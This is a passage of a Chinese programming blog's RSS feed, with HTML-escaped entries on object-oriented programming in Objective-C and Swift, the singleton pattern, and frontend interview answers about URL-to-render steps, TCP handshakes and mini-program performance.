&lt;td&gt;抽象基类、协议&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="objective-c中的oop"&gt;Objective-C中的OOP&lt;/h3&gt;
&lt;p&gt;Objective-C是一门典型的面向对象语言，它在C语言的基础上添加了面向对象的特性。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objective-c" data-lang="objective-c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 基类定义
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;@interface&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Animal&lt;/span&gt; : &lt;span style="color:#a6e22e"&gt;NSObject&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;@property&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;nonatomic&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;copy&lt;/span&gt;) NSString &lt;span style="color:#f92672"&gt;*&lt;/span&gt;name;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)&lt;span style="color:#a6e22e"&gt;speak&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)&lt;span style="color:#a6e22e"&gt;eat:&lt;/span&gt;(NSString &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)food;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;@end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;@implementation&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Animal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)&lt;span style="color:#a6e22e"&gt;speak&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; NSLog(&lt;span style="color:#e6db74"&gt;@&amp;#34;Animal speaks&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)&lt;span style="color:#a6e22e"&gt;eat:&lt;/span&gt;(NSString &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)food {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; NSLog(&lt;span style="color:#e6db74"&gt;@&amp;#34;%@ is eating %@&amp;#34;&lt;/span&gt;, self.name, food);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;@end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 子类继承
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;@interface&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Dog&lt;/span&gt; : &lt;span style="color:#a6e22e"&gt;Animal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;@property&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;nonatomic&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;copy&lt;/span&gt;) NSString &lt;span style="color:#f92672"&gt;*&lt;/span&gt;breed;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;@end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;@implementation&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Dog&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 重写父类方法 - 多态
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)&lt;span style="color:#a6e22e"&gt;speak&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; NSLog(&lt;span style="color:#e6db74"&gt;@&amp;#34;%@ barks: Woof!&amp;#34;&lt;/span&gt;, self.name);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 子类特有方法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- (&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;)&lt;span style="color:#a6e22e"&gt;fetch&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; NSLog(&lt;span style="color:#e6db74"&gt;@&amp;#34;%@ is fetching&amp;#34;&lt;/span&gt;, self.name);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;@end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="swift中的oop"&gt;Swift中的OOP&lt;/h3&gt;
&lt;p&gt;Swift同样支持面向对象编程，但提供了更现代的语法和更强的类型安全。&lt;/p&gt;</description></item><item><title>单例模式</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E5%8D%95%E4%BE%8B%E6%A8%A1%E5%BC%8F/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E5%8D%95%E4%BE%8B%E6%A8%A1%E5%BC%8F/</guid><description>&lt;h2 id="定义"&gt;定义&lt;/h2&gt;
&lt;p&gt;单例模式（Singleton Pattern）是一种创建型设计模式，它确保一个类只有一个实例，并提供一个全局访问点来获取该实例。&lt;/p&gt;
&lt;p&gt;单例模式的核心要点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;唯一性&lt;/strong&gt;：整个应用程序生命周期内只存在一个实例&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;全局访问&lt;/strong&gt;：提供一个全局访问点获取该实例&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;懒加载&lt;/strong&gt;：通常在第一次使用时才创建实例&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="为什么需要单例模式"&gt;为什么需要单例模式&lt;/h2&gt;
&lt;p&gt;单例模式要解决的核心问题是：&lt;strong&gt;确保某个类在整个应用中只有一个实例，并提供全局访问点&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题场景&lt;/strong&gt;：假设我们正在开发一个App，需要管理用户的登录状态和用户信息。&lt;/p&gt;
&lt;p&gt;如果不使用单例，可能会遇到这样的问题：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;UserManager&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; currentUser: User?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; isLoggedIn: Bool = &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;login&lt;/span&gt;(user: User) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; currentUser = user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; isLoggedIn = &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 在登录页面&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; userManager1 = UserManager()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;userManager1.login(user: user)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 在个人中心页面&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; userManager2 = UserManager()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(userManager2.isLoggedIn) &lt;span style="color:#75715e"&gt;// false！因为是不同的实例&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这种方式有什么问题？&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;状态不一致&lt;/strong&gt;：不同地方创建的UserManager是不同的实例，它们的状态相互独立，导致登录状态无法共享&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;资源浪费&lt;/strong&gt;：如果UserManager管理的是数据库连接、网络会话等资源，创建多个实例会浪费系统资源&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据同步困难&lt;/strong&gt;：多个实例之间的数据需要手动同步，容易出错&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;单例模式的解决思路&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;单例模式确保整个应用只有一个UserManager实例，所有地方都访问同一个对象：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;UserManager&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; shared = UserManager()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;() {}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; currentUser: User?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; isLoggedIn: Bool = &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;login&lt;/span&gt;(user: User) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; currentUser = user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; isLoggedIn = &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 在登录页面&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;UserManager.shared.login(user: user)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 在个人中心页面&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(UserManager.shared.isLoggedIn) &lt;span style="color:#75715e"&gt;// true！同一个实例&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;适合使用单例的场景&lt;/strong&gt;：&lt;/p&gt;</description></item><item><title>小红书-社招-5年 · 第 2 轮 · 技术面试</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-95/round-160/</link><pubDate>Sun, 01 Feb 2026 14:42:25 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-95/round-160/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-95/round-159/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-95/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 该轮面试主要考察了浏览器的工作原理、缓存策略、跨域、Vue生命周期、组件通信等方面的知识。题目涉及理论知识和实际应用场景。&lt;/p&gt;
&lt;p&gt;本轮共 14 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-5def10e9-7825-4bd4-a76e-6d7eb555a2ce"&gt;1. 详细讲一下从url输入网址到页面渲染的过程&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/5def10e9-7825-4bd4-a76e-6d7eb555a2ce"&gt;简单描述从输入网址到页面显示的过程&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;当输入URL到页面加载完成，发生了以下几个关键过程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;DNS解析&lt;/strong&gt;：浏览器将URL解析为对应的IP地址。这个过程涉及多级DNS服务器，从本地缓存开始，如果没有找到，则递归查询根域名服务器、顶级域名服务器，直到找到目标服务器的IP地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TCP连接&lt;/strong&gt;：浏览器通过三次握手与服务器建立TCP连接。一旦连接建立，浏览器可以发送HTTP请求。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP请求&lt;/strong&gt;：浏览器构建HTTP请求报文，通过TCP连接发送到服务器。请求报文包含请求行、请求头和请求正文。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务器处理请求&lt;/strong&gt;：服务器接收HTTP请求，解析请求内容，执行相应的处理（如数据库查询、文件读取等），并构建HTTP响应报文。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP响应&lt;/strong&gt;：服务器将响应报文通过TCP连接发送回浏览器。响应报文包含状态码、响应头和响应正文。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;浏览器解析渲染&lt;/strong&gt;：浏览器接收到HTTP响应后，解析HTML文档构建DOM树，解析CSS构建CSSOM树，合并两者形成渲染树，然后开始渲染页面。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;连接结束&lt;/strong&gt;：当浏览器完成页面渲染或收到服务器关闭连接的信号时，浏览器会发送TCP连接关闭的信号，服务器收到后，双方断开连接。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;很多大公司面试喜欢问这样一道面试题，输入URL到看见页面发生了什么？&lt;/p&gt;
&lt;p&gt;简单来说，共有以下几个过程：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DNS解析&lt;/li&gt;
&lt;li&gt;发起TCP连接&lt;/li&gt;
&lt;li&gt;发送HTTP请求&lt;/li&gt;
&lt;li&gt;服务器处理请求并返回HTTP报文&lt;/li&gt;
&lt;li&gt;浏览器解析渲染页面&lt;/li&gt;
&lt;li&gt;连接结束&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下面我们来看看具体的细节。&lt;/p&gt;
&lt;h2 id="dns解析"&gt;DNS解析&lt;/h2&gt;
&lt;p&gt;DNS解析实际上就是寻找你所需要的资源的过程。假设你输入&lt;code&gt;www.baidu.com&lt;/code&gt;，而这个网址并不是百度的真实地址，互联网中每一台机器都有唯一标识的IP地址，这个才是关键，但是它不好记，乱七八糟一串数字谁记得住啊，所以就需要一个网址和IP地址的转换，也就是DNS解析。&lt;/p&gt;
&lt;p&gt;DNS解析其实是一个递归的过程。&lt;/p&gt;
&lt;p&gt;输入&lt;code&gt;www.google.com&lt;/code&gt;网址后，首先在本地的域名服务器中查找，没找到去根域名服务器查找，没有再去com顶级域名服务器查找，，如此的类推下去，直到找到IP地址，然后把它记录在本地，供下次使用。大致过程就是.-&amp;gt; .com -&amp;gt;google.com. -&amp;gt; &lt;a href="https://www.google.com"&gt;www.google.com&lt;/a&gt;.。 (最后这个.对应的就是根域名服务器，默认情况下所有的网址的最后一位都是.，为了方便用户，通常都会省略，浏览器在请求DNS的时候会自动加上)&lt;/p&gt;
&lt;h3 id="dns优化"&gt;DNS优化&lt;/h3&gt;
&lt;p&gt;既然已经懂得了解析的具体过程，我们可以看到上述一共经过了N个过程，每个过程有一定的消耗和时间的等待，因此我们得想办法解决一下这个问题！&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DNS缓存&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;DNS存在着多级缓存，从离浏览器的距离排序的话，有以下几种: 浏览器缓存，系统缓存，路由器缓存，ISP服务器缓存，根域名服务器缓存，顶级域名服务器缓存，主域名服务器缓存。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DNS负载均衡&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;比如访问baidu.com的时候，每次响应的并非是同一个服务器（IP地址不同），一般大公司都有成百上千台服务器来支撑访问。DNS可以返回一个合适的机器的IP给用户，例如可以根据每台机器的负载量，该机器离用户地理位置的距离等等，这种过程就是DNS负载均衡。&lt;/p&gt;
&lt;h2 id="发起tcp连接"&gt;发起TCP连接&lt;/h2&gt;
&lt;p&gt;TCP提供一种可靠的传输，这个过程涉及到三次握手，四次挥手。&lt;/p&gt;
&lt;h3 id="三次握手"&gt;三次握手&lt;/h3&gt;
&lt;p&gt;&lt;img alt="三次握手示意图" loading="lazy" src="https://static.ecool.fun//article/f3f07532-8a7f-48f8-8f9e-d68ac149f9a2.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一次握手：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;客户端发送syn包(Seq=x)到服务器，并进入SYN_SEND状态，等待服务器确认；&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第二次握手：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;服务器收到syn包，必须确认客户的SYN（ack=x+1），同时自己也发送一个SYN包（Seq=y），即SYN+ACK包，此时服务器进入SYN_RECV状态；&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第三次握手：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;客户端收到服务器的SYN＋ACK包，向服务器发送确认包ACK(ack=y+1)，此包发送完毕，客户端和服务器进入ESTABLISHED状态，完成三次握手。&lt;/p&gt;
&lt;p&gt;握手过程中传送的包里不包含数据，三次握手完毕后，客户端与服务器才正式开始传送数据。理想状态下，TCP连接一旦建立，在通信双方中的任何一方主动关闭连接之前，TCP 连接都将被一直保持下去。&lt;/p&gt;
&lt;h3 id="四次挥手"&gt;四次挥手&lt;/h3&gt;
&lt;p&gt;数据传输完毕后，双方都可释放连接。最开始的时候，客户端和服务器都是处于ESTABLISHED状态，假设客户端主动关闭，服务器被动关闭。&lt;/p&gt;
&lt;p&gt;&lt;img alt="四次挥手示意图" loading="lazy" src="https://static.ecool.fun//article/dbf0912c-a6df-48d0-8981-7224eae4492f.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一次挥手：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;客户端发送一个FIN，用来关闭客户端到服务器的数据传送，也就是客户端告诉服务器：我已经不 会再给你发数据了(当然，在fin包之前发送出去的数据，如果没有收到对应的ack确认报文，客户端依然会重发这些数据)，但是，此时客户端还可以接受数据。&lt;/p&gt;
&lt;p&gt;FIN=1，其序列号为seq=u（等于前面已经传送过来的数据的最后一个字节的序号加1），此时，客户端进入FIN-WAIT-1（终止等待1）状态。 TCP规定，FIN报文段即使不携带数据，也要消耗一个序号。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第二次挥手：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;服务器收到FIN包后，发送一个ACK给对方并且带上自己的序列号seq，确认序号为收到序号+1（与SYN相同，一个FIN占用一个序号）。此时，服务端就进入了CLOSE-WAIT（关闭等待）状态。TCP服务器通知高层的应用进程，客户端向服务器的方向就释放了，这时候处于半关闭状态，即客户端已经没有数据要发送了，但是服务器若发送数据，客户端依然要接受。这个状态还要持续一段时间，也就是整个CLOSE-WAIT状态持续的时间。&lt;/p&gt;</description></item><item><title>小红书-社招-3年 · 第 2 轮 · 技术面试</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-94/round-157/</link><pubDate>Sun, 01 Feb 2026 14:42:08 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-94/round-157/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-94/round-156/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-94/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-94/round-158/"&gt;第 3 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 这一轮主要考察了小程序的性能优化、核心监控指标、首屏时间的计算、业务价值验证、高频事件处理等方面的知识。&lt;/p&gt;
&lt;p&gt;本轮共 11 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-92e09b66-a9fc-435d-ad28-99011b2ddeaa"&gt;1. 小程序性能优化做了哪些事情？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/92e09b66-a9fc-435d-ad28-99011b2ddeaa"&gt;小程序可以做哪些性能优化？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;小程序性能优化围绕逻辑层与视图层分离架构展开，重点是减少 setData 频率与数据体积，控制列表节点数量，优化首包体积与启动链路，并通过分包加载、WXS 与懒加载等手段降低渲染压力。核心原则是减少跨线程通信与避免无意义重渲染，从架构层面解决性能瓶颈。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;小程序的性能优化，不能只从“前端渲染”角度看。它的运行模型和 Web 不同，存在 &lt;strong&gt;逻辑层（JSCore）与视图层（WebView）分离&lt;/strong&gt; 的架构特征，核心瓶颈往往出在：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;跨线程通信成本&lt;/li&gt;
&lt;li&gt;setData 传输体积&lt;/li&gt;
&lt;li&gt;渲染节点数量&lt;/li&gt;
&lt;li&gt;包体与启动链路&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;优化必须围绕这些机制展开。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="一理解运行架构是前提"&gt;一、理解运行架构是前提&lt;/h2&gt;
&lt;p&gt;以 微信小程序 为例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;逻辑层：JS 执行环境&lt;/li&gt;
&lt;li&gt;视图层：WebView 渲染&lt;/li&gt;
&lt;li&gt;两层通过 JSON 序列化通信&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;每一次 &lt;code&gt;setData&lt;/code&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;数据序列化&lt;/li&gt;
&lt;li&gt;线程间传输&lt;/li&gt;
&lt;li&gt;视图层 diff&lt;/li&gt;
&lt;li&gt;真实节点更新&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;所以小程序性能优化的第一原则是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;减少跨线程通信的数据量与次数。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="二控制-setdata-的粒度与频率"&gt;二、控制 setData 的粒度与频率&lt;/h2&gt;
&lt;h3 id="1-避免大对象全量更新"&gt;1. 避免大对象全量更新&lt;/h3&gt;
&lt;p&gt;错误方式：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setData&lt;/span&gt;({
